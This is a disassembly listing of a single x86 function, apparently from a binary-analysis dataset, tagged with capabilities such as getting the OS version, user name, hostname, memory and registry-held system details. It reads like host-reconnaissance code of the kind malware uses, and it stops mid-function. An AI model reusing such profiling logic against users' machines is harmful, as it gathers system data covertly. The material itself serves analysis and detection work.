Function at 0x409d2c
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xc9
push 0
push 0
dec ecx
jne 0x409d34
push ecx
push ebx
push esi
push edi
mov esi, 0x42ab30
mov edi, 0x42ab48
xor eax, eax
push ebp
push 0x40b1d0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
mov edx, 0x40b1e8
call fcn.004040c0
mov eax, edi
mov edx, 0x40b224
call fcn.004040c0
mov dword [ebp - 0xe4], 0x94
mov eax, esi
mov edx, 0x40b230
call fcn.004040c0
lea eax, [ebp - 0xe4]
push eax
call sub.kernel32.dll_GetVersionExA
mov ebx, dword [ebp - 0xd4]
cmp ebx, 2
jne 0x409dab
lea eax, [ebp - 8]
mov edx, 0x40b2c0
call fcn.00404104
jmp 0x409dcf
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5bc]
call fcn.00406940
mov ecx, dword [ebp - 0x5bc]
lea eax, [ebp - 8]
mov edx, 0x40b2dc
call fcn.00404354
cmp byte [0x42ab78], 0
je 0x409de7
lea eax, [ebp - 4]
mov edx, 0x40b2f8
call fcn.00404104
jmp 0x409df4
lea eax, [ebp - 4]
mov edx, 0x40b308
call fcn.00404104
mov eax, esi
mov edx, 0x40b318
call fcn.004040c0
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c0]
call fcn.00406940
push dword [ebp - 0x5c0]
push 0x40b3f0
mov eax, dword [ebp - 0xdc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c4]
call fcn.00406940
push dword [ebp - 0x5c4]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004043c8
mov eax, dword [ebp - 0xc]
mov edx, 0x40b3fc
call fcn.00404454
jne 0x409e64
lea eax, [ebp - 4]
mov edx, 0x40b408
call fcn.00404104
lea eax, [ebp - 0x18]
lea edx, [ebp - 0xd0]
mov ecx, 0x80
call fcn.004042dc
mov eax, esi
mov edx, 0x40b418
call fcn.004040c0
mov eax, dword [ebp - 0x18]
mov edx, 0x40b434
call fcn.00404454
jne 0x409ea1
lea eax, [ebp - 0x18]
mov edx, 0x40b44c
call fcn.00404104
jmp 0x409ef9
mov eax, dword [ebp - 0x18]
mov edx, 0x40b458
call fcn.00404454
jne 0x409ebf
lea eax, [ebp - 0x18]
mov edx, 0x40b470
call fcn.00404104
jmp 0x409ef9
mov eax, dword [ebp - 0x18]
mov edx, 0x40b47c
call fcn.00404454
jne 0x409edd
lea eax, [ebp - 0x18]
mov edx, 0x40b494
call fcn.00404104
jmp 0x409ef9
mov eax, dword [ebp - 0x18]
mov edx, 0x40b4a0
call fcn.00404454
jne 0x409ef9
lea eax, [ebp - 0x18]
mov edx, 0x40b4b8
call fcn.00404104
mov eax, dword [ebp - 0xd8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c8]
call fcn.00406940
mov ecx, dword [ebp - 0x5c8]
lea eax, [ebp - 0x10]
mov edx, 0x40b4c4
call fcn.00404354
push dword [ebp - 4]
push 0x40b4d4
push dword [ebp - 0xc]
push 0x40b4e0
push dword [ebp - 0x18]
push 0x40b4e0
push dword [ebp - 0x10]
push 0x40b4e0
lea eax, [ebp - 0x14]
mov edx, 8
call fcn.004043c8
mov eax, esi
mov edx, 0x40b4ec
call fcn.004040c0
push dword [edi]
push dword [ebp - 8]
push 0x40b224
push dword [ebp - 4]
push 0x40b4d4
push dword [ebp - 0xc]
push 0x40b224
push dword [ebp - 0x10]
push 0x40b224
push dword [ebp - 0x18]
push 0x40b224
push 0x40b508
push dword [0x42aaf8]
push 0x40b51c
push 0x40b224
mov eax, edi
mov edx, 0xf
call fcn.004043c8
push 0xfa
lea eax, [ebp - 0x577]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, esi
mov edx, 0x40b528
call fcn.004040c0
push dword [edi]
push 0x40b5e4
lea eax, [ebp - 0x5cc]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.004042dc
push dword [ebp - 0x5cc]
push 0x40b224
mov eax, edi
mov edx, 4
call fcn.004043c8
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x40b5f8
mov edx, 0x40b60c
mov eax, 0x80000001
call fcn.00407d94
push dword [edi]
push 0x40b630
push dword [ebp - 4]
push 0x40b224
mov eax, edi
mov edx, 4
call fcn.004043c8
mov eax, esi
mov edx, 0x40b644
call fcn.004040c0
push dword [ebp - 0x14]
push dword [ebp - 4]
push 0x40b4e0
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004043c8
push dword [edi]
push 0x40b6d4
push dword [0x42aaf4]
push 0x40b224
mov eax, edi
mov edx, 4
call fcn.004043c8
mov eax, esi
mov edx, 0x40b6ec
call fcn.004040c0
push dword [ebp - 0x14]
push 0x40b760
push dword [0x42aaf4]
push 0x40b4e0
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.004043c8
mov dword [ebp - 0x4c], 0x32
mov eax, esi
mov edx, 0x40b770
call fcn.004040c0
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x577]
push eax
call sub.advapi32.dll_GetUserNameA
push dword [edi]
push 0x40b7ac
lea eax, [ebp - 0x5d0]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.004042dc
push dword [ebp - 0x5d0]
push 0x40b224
mov eax, edi
mov edx, 4
call fcn.004043c8
mov eax, esi
mov edx, 0x40b418
call fcn.004040c0
push dword [ebp - 0x14]
push 0x40b7c0
lea eax, [ebp - 0x5d4]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.004042dc
push dword [ebp - 0x5d4]
push 0x40b4e0
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.004043c8
lea eax, [ebp - 4]
mov edx, 0x40b7d0
call fcn.00404104
mov eax, esi
mov edx, 0x40b7f4
call fcn.004040c0
lea eax, [ebp - 8]
mov ecx, 0x40b878
mov edx, dword [ebp - 4]
call fcn.00404354
mov eax, esi
mov edx, 0x40b894
call fcn.004040c0
mov eax, dword [0x4296b4]
push eax
mov ecx, 0x40b900
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00407ce0
lea edx, [ebp - 0xc]
call fcn.00406920
push dword [ebp - 0x14]
push 0x40b910
push dword [ebp - 0xc]
push 0x40b4e0
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.004043c8
push dword [edi]
push 0x40b920
push 0x40b92c
push dword [ebp - 0xc]
push 0x40b93c
push 0x40b224
push 0x40b94c
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5d8]
push eax
mov ecx, 0x40b968
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5d8]
push 0x40b224
push 0x40b984
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5dc]
push eax
mov ecx, 0x40b99c
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5dc]
push 0x40b224
push 0x40b9b0
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5e0]
push eax
mov ecx, 0x40b9c4
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5e0]
push 0x40b224
push 0x40b9e0
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5e4]
push eax
mov ecx, 0x40b9f8
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5e4]
push 0x40b224
push 0x40ba14
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5e8]
push eax
mov ecx, 0x40ba28
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5e8]
push 0x40b224
push 0x40ba40
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5ec]
push eax
mov ecx, 0x40ba60
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5ec]
push 0x40b224
push 0x40ba7c
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0x5f0]
push eax
mov ecx, 0x40ba98
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00407d94
push dword [ebp - 0x5f0]
push 0x40b224
mov eax, edi
mov edx, 0x1b
call fcn.004043c8
mov eax, esi
mov edx, 0x40b528
call fcn.004040c0
lea eax, [ebp - 4]
mov edx, 0x40bab0
call fcn.00404104
mov eax, esi
mov edx, 0x40bac0
call fcn.004040c0
xor eax, eax
mov dword [ebp - 0x20], eax
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0x20]
call fcn.00406920
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x5f4]
mov ecx, dword [ebp - 0x10]
mov edx, 0x40baf8
call fcn.00404354
mov ecx, dword [ebp - 0x5f4]
mov edx, 0x40bb10
mov eax, 0x80000002
call fcn.00407d94
mov eax, dword [ebp - 0xc]
call fcn.00404308
test eax, eax
jle 0x40a3cf
push dword [edi]
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x40b224
mov eax, edi
mov edx, 4
call fcn.004043c8
mov eax, dword [0x4296b4]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x5f8]
mov ecx, dword [ebp - 0x10]
mov edx, 0x40bb38
call fcn.00404354
mov ecx, dword [ebp - 0x5f8]
mov edx, 0x40bb54
mov eax, 0x80000002
call fcn.00407d94
mov eax, dword [ebp - 0xc]
call fcn.00404308
test eax, eax
jle 0x40a42b
push dword [edi]
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x40b224
mov eax, edi
mov edx, 4
call fcn.004043c8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 7
jne 0x40a368
mov eax, esi
mov edx, 0x40bb80
call fcn.004040c0
mov eax, dword [0x4296b4]
push eax
mov ecx, 0x40bc30
mov edx, 0x40bc48
mov eax, 0x80000002
call fcn.00407ce0
lea edx, [ebp - 0x10]
call fcn.00406920
mov eax, esi
mov edx, 0x40bc90
call fcn.004040c0
mov eax, dword [ebp - 0x10]
call fcn.00404308
test eax, eax
jle 0x40a498
push 0x40bcc4
push dword [ebp - 0x10]
push 0x40b224
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004043c8
mov dword [ebp - 0x5b8], 0x20
lea eax, [ebp - 0x5b8]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, dword [ebp - 0x5b0]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 4]
call fcn.00406940
push dword [ebp - 0x14]
push 0x40bcdc
push dword [ebp - 4]
push 0x40b4e0
push dword [0x42aaf8]
push 0x40b4e0
lea eax, [ebp - 0x14]
mov edx, 6
call fcn.004043c8
push dword [edi]
push 0x40b920
push 0x40bcec
push 0x40b224
push 0x40bd00
push dword [ebp - 4]
push 0x40bd18
push 0x40b224
push 0x40bd24
mov eax, dword [ebp - 0x5b4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5fc]
call fcn.00406940
push dword [ebp - 0x5fc]
push 0x40bd34
push 0x40b224
push 0x40bd40
mov eax, dword [ebp - 0x5ac]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x600]
call fcn.00406940
push dword [ebp - 0x600]
push 0x40bd18
push 0x40b224
push 0x40b920
push 0x40bd58
push 0x40b224
push 0x40bd6c
mov eax, dword [ebp - 0x5a8]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x604]
call fcn.00406940
push dword [ebp - 0x604]
push 0x40bd18
push 0x40b224
push 0x40bd80
mov eax, dword [ebp - 0x5a4]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x608]
call fcn.00406940
push dword [ebp - 0x608]
push 0x40bd18
push 0x40b224
push 0x40bd94
mov eax, dword [ebp - 0x5a0]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x60c]
call fcn.00406940
push dword [ebp - 0x60c]
push 0x40bd18
push 0x40b224
push 0x40bdac
mov eax, dword [ebp - 0x59c]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x610]
call fcn.00406940
push dword [ebp - 0x610]
push 0x40bd18
push 0x40b224
push 0x40b224
push 0x40bdc4
push dword [0x42ab08]
push 0x40b224
push dword [ebp - 0x10]
mov eax, edi
mov edx, 0x28
call fcn.004043c8
lea eax, [ebp - 0x274]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0xff
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
mov eax, esi
mov edx, 0x40bdd4
call fcn.004040c0
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 4]
call fcn.00404264
push dword [edi]
push 0x40be08
push dword [ebp - 4]
mov eax, edi
mov edx, 3
call fcn.004043c8
mov eax, esi
mov edx, 0x40b1e8
call fcn.004040c0
push dword [ebp - 0x14]
push 0x40be1c
push dword [ebp - 4]
push 0x40b4e0
push 0x40be28
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.004043c8
mov eax, esi
mov edx, 0x40be38
call fcn.004040c0
call sub.wsock32.dll_WSACleanup
mov eax, esi
mov edx, 0x40beb0
call fcn.004040c0
push dword [edi]
push 0x40b224
push 0x40b224
push 0x40bef8
push 0x40b224
mov eax, edi
mov edx, 5
call fcn.004043c8
mov eax, esi
mov edx, 0x40bf10
call fcn.004040c0
mov bl, 0x42